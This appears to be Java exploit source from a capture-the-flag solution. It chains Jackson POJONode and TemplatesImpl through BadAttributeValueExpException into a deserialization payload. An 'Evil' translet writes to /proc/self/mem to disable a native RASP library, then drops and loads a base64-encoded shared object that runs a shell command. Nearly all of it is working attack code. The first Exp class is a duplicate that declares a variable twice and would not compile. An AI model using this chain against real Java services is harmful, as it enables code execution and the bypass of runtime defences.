import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Exp {
    private final static String path = "/tmp/pojo.payload2";
    public static void main(String[] args) throws Exception{
        Object obj = Gadgets.createTemplatesImpl("touch /tmp/succddd");
        Object obj = getTemplate();
        POJONode node = new POJONode(obj);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, node);
        FileOutputStream fos = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fos);

        oos.writeObject(val);
        oos.close();
        fos.close();
    }
}

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Exp {
    private final static String path = "/tmp/pojo.payload2";
    public static void main(String[] args) throws Exception{
        Object obj = getTemplate();
        POJONode node = new POJONode(obj);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, node);
        FileOutputStream fos = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fos);

        oos.writeObject(val);
        oos.close();
        fos.close();
    }

    public static Object getTemplate() throws Exception{
        Class tplClass = TemplatesImpl.class;
        Class transFactory = TransformerFactoryImpl.class;
        Object templates = tplClass.newInstance();
        byte[] classBytes = Files.readAllBytes(Paths.get("Evil.class"));

        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
}

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.FileOutputStream;
import java.io.RandomAccessFile;
import java.io.Serializable;
import java.util.Base64;


public class Evil extends AbstractTranslet implements Serializable {
    static private long STRING_OFFSET = 0x2029L;
    static RandomAccessFile memFile;
    static RandomAccessFile mapsFile;

    public Evil(){
        try{
            mapsFile = new RandomAccessFile("/proc/self/maps", "r");
            memFile = new RandomAccessFile("/proc/self/mem", "rw");
            String raspPath = "/opt/rasp/libnativerasp.so";
            long raspBaseAddress = this.findLibraryBaseAddress(raspPath);

            // 修改"/usr/local/openjdk-8/jre/lib/amd64/" -> "/"
            long stringPatchAddr = raspBaseAddress + STRING_OFFSET;
            byte[] patchBytes = new byte[]{0};
            this.patchMemory(stringPatchAddr, patchBytes);

            String so = "/tmp/evil.so";
            writeEvilSo(so);
            System.load(so);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    void writeEvilSo(String path){
        String evilSo = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg+wISIsF2S8AAEiFwHQC/9BIg8QIwwAAAAAA/zXiLwAA8v8l4y8AAA8fAPMPHvpoAAAAAPLp4f///5DzDx76aAEAAADy6dH///+Q8w8e+vL/JZ0vAAAPH0QAAPMPHvry/yWtLwAADx9EAADzDx768v8lpS8AAA8fRAAASI09qS8AAEiNBaIvAABIOfh0FUiLBUYvAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI09eS8AAEiNNXIvAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsFFS8AAEiFwHQI/+BmDx9EAADDDx+AAAAAAPMPHvqAPTUvAAAAdStVSIM98i4AAABIieV0DEiLPRYvAADoOf///+hk////xgUNLwAAAV3DDx8Aww8fgAAAAADzDx766Xf////zDx76VUiJ5UiD7BBIjT20DgAA6B////+JRfyDffwAdQ5IjT23DgAA6Pr+///rDEiNPc4OAADo7P7//5DJwwDzDx76SIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0b3VjaCAvdG1wL2J5cGFzc2l0MgAAAAB0b3VjaCBjb21tYW5kIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseSEAdG91Y2ggY29tbWFuZCBmYWlsZWQhAAABGwM7KAAAAAQAAADM7///RAAAAPzv//9sAAAADPD//4QAAADl8P//nAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAgO///zAAAAAADhBGDhhKDwt3CIAAPxo6KjMkIgAAAAAUAAAARAAAAIjv//8QAAAAAAAAAAAAAAAUAAAAXAAAAIDv//8gAAAAAAAAAAAAAAAcAAAAdAAAAEHw//8+AAAAAEUOEIYCQw0GdQwHCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA